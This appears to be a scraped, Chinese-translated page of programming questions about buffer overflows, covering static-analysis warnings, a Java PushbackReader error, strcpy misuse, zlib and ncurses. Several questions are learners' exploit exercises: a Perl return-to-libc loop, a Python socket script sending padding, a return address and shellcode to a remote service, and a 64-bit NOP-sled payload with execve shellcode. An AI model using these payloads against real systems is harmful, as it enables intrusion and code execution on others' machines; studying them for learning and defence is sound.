我们使用的静态分析工具将类似于以下内容的C代码标记为关键缓冲区溢出.
#define size 64
char buf [size + 1] = "";
memset (buf, 0, size + 1);
Run Code Online (Sandbox Code Playgroud)
该工具的错误消息是: 缓冲区溢出(数组索引超出界限):数组'buf'大小为1.数组'buf'可能使用0..64索引.
这合法吗?将字符数组赋值给空字符串是否真的导致其长度减少为单个字节,就好像它被定义为char buf [] = "";?
我正在实现一个语法阅读器作为家庭作业的衍生产品,我正在读取一个 XML 文件,一次一个字符。我的目标是利用我通过实验室作业的代码,并改进结构和设计。
我有一个SyntaxReader继承自PushbackReader,它有一些额外的方法,如readAndExpect(char c),trimWhitespace()和readUntilChar(char c)。然后我有一个XMLSyntaxReader继承SyntaxReader并添加了像readAttribute()and这样的功能readNode()(后者对树中的孩子递归......)。
我基本上只是从我的实验室作业中获取了工作代码,并将其粘贴到这种方法中的适当位置。然而,当我试图阅读第一个孩子时,我得到了一个IOException: Pushback buffer overflow我无法弄清楚的。
这是我的 XML 文件的开头:
<Biosfar namn="Liv">ar allt som fortplantar sig
<Rike namn="Vaxter"> etc...
Run Code Online (Sandbox Code Playgroud)
我已经调试并观察了语法阅读器<R在子标签的开头一直成功阅读。此时,XMLSyntaxReader确认它是一个子标签,未读取最后两个字符(R和<,按此顺序)并调用readNode()解析子节点。当我尝试 unread 时发生异常<。
在调试器中,我也验证了 的私有pos变量PushbackReader确实设置为0,但我不知道为什么。我已经解析了一整行文本 - 为什么这些字符仍然不计算在内?
我会发布我的代码,但它很长,并且在我不确定我的确切实现是否相关之前同样有效。如果是,请指出我可以上传片段的地方,我将分享所有代码。
您好我正在尝试编译以下代码,
#include <stdio.h>
#include <string.h>
int main()
{
int i;
char a[3] = {'1', '2', '3'},b[3] = {'3', '2', '1'};
strcpy(a,b);
for(i=0; i<3; i++)
printf("%s",a);
return 0;
}
Run Code Online (Sandbox Code Playgroud)
但我收到以下错误(Buffer Overflow)
*** buffer overflow detected ***: ./prog terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x48)[0xb7653ae8]
/lib/libc.so.6[0xb7651b30]
/lib/libc.so.6(__strcpy_chk+0x44)[0xb7650e14]
./prog[0x80484c9]
./prog[0x80483c1]
======= Memory map: ========
Run Code Online (Sandbox Code Playgroud)
现在我没有得到导致缓冲区溢出的原因.有人可以帮我解决一下吗?谢谢你的加入.
我一直在尝试使用C语言.我通常使用PHP和JavaScript.
我做了"Hello World",然后输入了这个,我从某个网站复制了...
#include <stdio.h>
#include <stdlib.h>
#define MAX 20
int intcmp(const void*v1, const void *v2){
return (*(int *)v1 - *(int *)v2);
}
main(){
int arr[MAX], count, key , *ptr;
printf("Enter %d integer values; press enter after each\n", MAX);
for (count = 0; count < MAX; count++)
scanf("%d", &arr[count]);
puts("Press a key to sort the values");
getc(stdin);
qsort(arr, MAX, sizeof(arr[0]), intcmp);
for(count=0; count < MAX; count++)
printf("\narr[%d] = %d.", count, arr[count]);
puts("\nPress a key to continue");
getc(stdin);
printf("Enter a val …Run Code Online (Sandbox Code Playgroud) 我正在搞乱缓冲区溢出,我正在尝试执行返回libc漏洞.为了帮助我,我设计了以下perl脚本:
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "count: $i\n";
system("echo 1 | ./vuln " . "A"x$i . "\x20\x83\x04\x08AAAA\x5c\xf9\xff\xbf");
}
Run Code Online (Sandbox Code Playgroud)
以下是我定位的代码(./vuln):
#include<stdio.h>
#include<string.h>
main( int argc, char **argv)
{
char buffer[80];
printf("%d\n%s\n", strlen(argv[1]), argv[1]);
getchar();
strcpy(buffer, argv[1]);
return 1;
}
Run Code Online (Sandbox Code Playgroud)
这是脚本的输出:
count: 1
1
A
count: 2
2
AA
count: 3
3
AAA
count: 4
4
AAAA
count: 5
5
AAAAA
Run Code Online (Sandbox Code Playgroud)
这表示最后一个字符串连接的部分(具有大量十六进制字符的部分)没有被成功传递为参数.
我在这做错了什么?
好的..我制作了一个使用 zlib 解压缩字符串的系统......我认为它有效,但我的 base64 转换器有问题,所以我不能确定数据是否正确......它适用于一个非常小的字符串,即“帮助”,但该字符串会导致缓冲区溢出“eJxjZMAOmHCIM+MQZ8EhzgrEAAKAABA=”
this is the function in question!
#include <zlib.h>
#include <stdlib.h>
#include <string.h>
#include "../../inc/tools/Zunz.h"
using namespace tool;
static const int maxUncompressedSize = 4096;
std::string Zunz::UnZip(std::string const& s)
{
char *cmprsd;
char uncompressed[maxUncompressedSize];
int sizeOfS = sizeof(s);
cmprsd = (char*) malloc(sizeOfS);
strcpy(cmprsd, s.c_str());
// deflate
// zlib struct
z_stream defstream;
defstream.zalloc = Z_NULL;
defstream.zfree = Z_NULL;
defstream.opaque = Z_NULL;
defstream.avail_in = (uInt)strlen(cmprsd)+1; // size of input, string + terminator
defstream.next_in = (Bytef *)cmprsd; // input char …Run Code Online (Sandbox Code Playgroud) 我目前正在进入我的第一个完整的C++项目,并且我遇到了Ncurses.
getstr()需要一个char数组作为输入,但是有了这个,就没有办法防止缓冲区溢出.让我假装我正在使用此输入来获取名称.我的代码将是以下内容:
int main(){
char* nameTemp = new char[160];
initscr();
getstr(nameTemp);
endwin();
delete nameTemp;
return 0;
}
Run Code Online (Sandbox Code Playgroud)
但是如果用户决定使用超过160个字符作为他的名字,会发生什么?我收到错误,程序失败.除了创建巨大的Char数组之外,有没有办法解决程序中的这种致命缺陷?谢谢.
注意:我正在使用带有g ++的Ubuntu 12.04
我正在尝试检测某些函数中的堆栈溢出,并希望将观察点设置为RSP寄存器指向的内存.我不能只将一个观察点设置到某个地址,因为可以从不同的地方调用该函数.所以我想在函数的开始和结束时设置断点,并强制它们启用/禁用观察点.
但是设置观察点的方式都不适合我.例如,wa $rsp观看登记册; 该
set $myvar = $rsp
wa $myvar
Run Code Online (Sandbox Code Playgroud)
使观察点跟踪... $ myvar的变化!不是它存储的价值!
很奇怪,我敢肯定,这应该是一种方式,但我不知道一个......
UPD:看起来我在gdb中发现了一个bug.二:
(gdb) wa *$rsp
Attempt to dereference a generic pointer.
(gdb) set $myvar = $rsp
(gdb) wa *$myvar
Attempt to dereference a generic pointer.
Run Code Online (Sandbox Code Playgroud)
UPD:不知道为什么,但wa &*$myvar设置了$ myvar的断点,但不应该.错误?
我正在练习一些缓冲区溢出技术,但是在发送已存储的数据时遇到了一个奇怪的问题。
我有这两个几乎相同的代码,除了在Python3代码中,我更改了sock.send以编码字符串(在Python2中不需要)
Python2代码:
import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))
buffer = "A"*268
buffer += "\x70\xfb\x22\x00"
#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")
sock.send (buffer)
sock.close
Run Code Online (Sandbox Code Playgroud)
Python 3代码:
import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))
buffer = "A"*268
buffer += "\x70\xfb\x22\x00"
#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")
sock.send (buffer.encode())
sock.close
Run Code Online (Sandbox Code Playgroud)
我发送缓冲区,然后使用抗扰度调试器检查EIP / SEP值,我发现在Python2代码和Python3代码之间得到了不同的值。那怎么可能?
两者的缓冲区相同,因此调试器中的EIP / SEP应该相同。
换句话说,从服务器的角度来看(获取套接字数据)看起来它获取了不同的数据结构或类似的东西。
有任何想法吗?
谢谢。
我正在尝试使用本教程执行缓冲区溢出漏洞.我的帖子中的所有内容都将直接在GDB中执行.
https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/
这是我想利用缓冲区溢出的代码.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buff[256];
if (argc == 1)
{
printf("Usage: %s input\n", argv[0]);
exit (0);
}
strcpy(buff, argv[1]);
printf("%s\n", buff);
return (1);
}
Run Code Online (Sandbox Code Playgroud)
我目前正在研究Linux mint 18,我有64位处理器.鉴于我有64位架构.每个地址都是8个字节.现在让我们想象一下我当前的stakframe.
| buff [256] |
| RBP |
| 保存RIP |
我的目标是用"nop sled"的地址覆盖"SAVE RIP".鉴于我是64位架构.我打算用256 + 8字符填充变量buff.8个字符将用于覆盖RBP指针.我要用perl覆盖.
perl -e 'print "\x90" x 264'
然后使用我遵循的教程中提供的shellcode
perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'
我减去了26因为shellcode长度为26.
现在.我要找出使用GDB的nop雪橇的地址是什么.
0x00000000004005f6 <+0>: push rbp
0x00000000004005f7 <+1>: mov …Run Code Online (Sandbox Code Playgroud)